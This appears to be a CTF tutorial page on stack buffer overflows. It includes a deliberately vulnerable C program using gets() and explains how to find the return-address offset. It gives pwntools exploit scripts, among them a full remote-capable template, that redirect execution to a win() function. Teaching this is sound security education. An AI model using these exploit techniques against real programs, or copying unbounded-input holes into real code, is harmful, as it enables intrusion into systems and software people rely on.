Stack Buffer Overflow
Understand and exploit stack-based buffer overflows - the most fundamental pwn technique.
Stack Buffer Overflow
A stack buffer overflow happens when a program reads more input than a buffer can hold, and the extra bytes spill into nearby memory — including the return address. By controlling the return address, you control where the program goes next.
This is the most fundamental pwn technique. Almost everything else in this section builds on it.
A Vulnerable Program
Here's a typical CTF challenge. Look at this code and think about what happens if you type more than 64 characters:
#include <stdio.h>
void win() {
printf("You win! Here's your flag: flag{...}\n");
}
void vuln() {
char buf[64];
printf("Enter your name: ");
gets(buf); // reads until newline, no length limit!
printf("Hello, %s!\n", buf);
}
int main() {
vuln();
return 0;
}The bug: gets() has no length limit. It will keep reading input past the end of buf. What's past the end of buf? The saved RBP and the return address.
What the Stack Looks Like
When vuln() is called, the CPU pushes the return address (where to go after vuln finishes) onto the stack. Local variables like buf sit below it:
High address (toward 0x7fff...)
┌────────────────────┐
│ Return address │ ← normally points back to main()
├────────────────────┤
│ Saved RBP │ ← 8 bytes on 64-bit
├────────────────────┤
│ buf[0..63] │ ← your input goes here
└────────────────────┘
Low addressIf you write 64 bytes into buf, that fills the buffer. Bytes 65-72 overwrite the saved RBP. Bytes 73-80 overwrite the return address. When vuln() returns, the CPU reads your fake return address and jumps to it — jumping to win().
Finding the Offset
You need to know exactly how many bytes reach the return address. Two methods:
Send a unique pattern, crash the program, and check which bytes ended up in the return address:
from pwn import *
p = process('./vuln')
p.sendline(cyclic(200)) # send a 200-byte pattern
p.wait() # wait for crashOpen the coredump or run in GDB:
gdb ./vuln core
# or: run the program in GDB and crash it
gef> pattern search $rsp
# Output: Found at offset 72The offset is 72 — that's 64 bytes for buf + 8 bytes for saved RBP.
Building the Exploit
Once you know the offset, the exploit is straightforward:
Check protections
checksec --file=./vulnYou need: no canary (or leaked canary), and you need to know the address of win(). If PIE is off, win() is at a fixed address.
Find the address of win()
nm ./vuln | grep win
# 0000000000401156 T winOr in pwntools: elf.sym['win'].
Build and send the payload
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 72
win_addr = elf.sym['win']
payload = b'A' * offset # fill buffer + saved RBP
payload += p64(win_addr) # overwrite return address
p.sendline(payload)
p.interactive() # should print "You win!"What happens step by step:
b'A' * 72fillsbuf(64 bytes) and overwrites saved RBP (8 bytes)p64(win_addr)overwrites the return address withwin()'s address- When
vuln()returns, the CPU popswin_addrinto RIP and jumps to it
When It Crashes: Stack Alignment
On x86-64, the stack must be 16-byte aligned before a call instruction. If win() crashes silently (especially if it calls printf or system), the stack is probably misaligned. Fix it by adding a ret gadget before your target:
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
payload = b'A' * offset
payload += p64(ret) # align the stack
payload += p64(win_addr) # then jump to win()This is a common gotcha. If your exploit works locally but crashes in GDB, try adding the ret gadget.
Checking Protections
Run checksec before writing any exploit:
$ checksec --file=./vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE| Protection | What it means for you |
|---|---|
| No Canary | You can overflow freely without worrying about the canary check |
| NX enabled | You can't run shellcode on the stack — you need ROP or ret2libc (see ROP Chains) |
| No PIE | win() is at a fixed address — use it directly |
| PIE enabled | You need to leak a binary address first (see Linux Protections) |
| Canary found | You need to leak the canary before overflowing (see Linux Protections) |
This page covers the simplest case: no canary, no PIE, NX enabled but a win() function exists. For more complex scenarios, see ROP Chains and ret2libc.
Dangerous C Functions
These functions are the root cause of most buffer overflows. If you see them in a binary, look for an overflow:
| Function | Why it's dangerous |
|---|---|
gets() | No length limit at all |
scanf("%s", buf) | No length limit |
strcpy(dst, src) | Stops at null byte, no bounds check |
read(0, buf, BIG_N) | Reads more than buffer size |
memcpy(dst, src, n) | Dangerous if n is attacker-controlled |
Full Exploit Template
from pwn import *
# Setup
context.binary = elf = ELF('./vuln')
context.log_level = 'info'
if args.REMOTE:
p = remote('challenge.ctf.com', 9001)
elif args.GDB:
p = gdb.debug('./vuln', gdbscript='break main\ncontinue\n')
else:
p = process('./vuln')
# Exploit
offset = 72
ret = ROP(elf).find_gadget(['ret'])[0]
payload = b'A' * offset
payload += p64(ret) # stack alignment (optional, add if crashing)
payload += p64(elf.sym['win'])
p.sendline(payload)
p.interactive()Checklist
- Run
checksec— is there a canary? Is PIE off? - Find the overflow offset (cyclic pattern + GDB)
- Find the target address (
nm ./vuln | grep winorelf.sym['win']) - Build payload: padding + optional
retgadget + target address - If it crashes silently, try adding a
retgadget for alignment - If NX is on and there's no
win(), you need ROP or ret2libc
Last updated on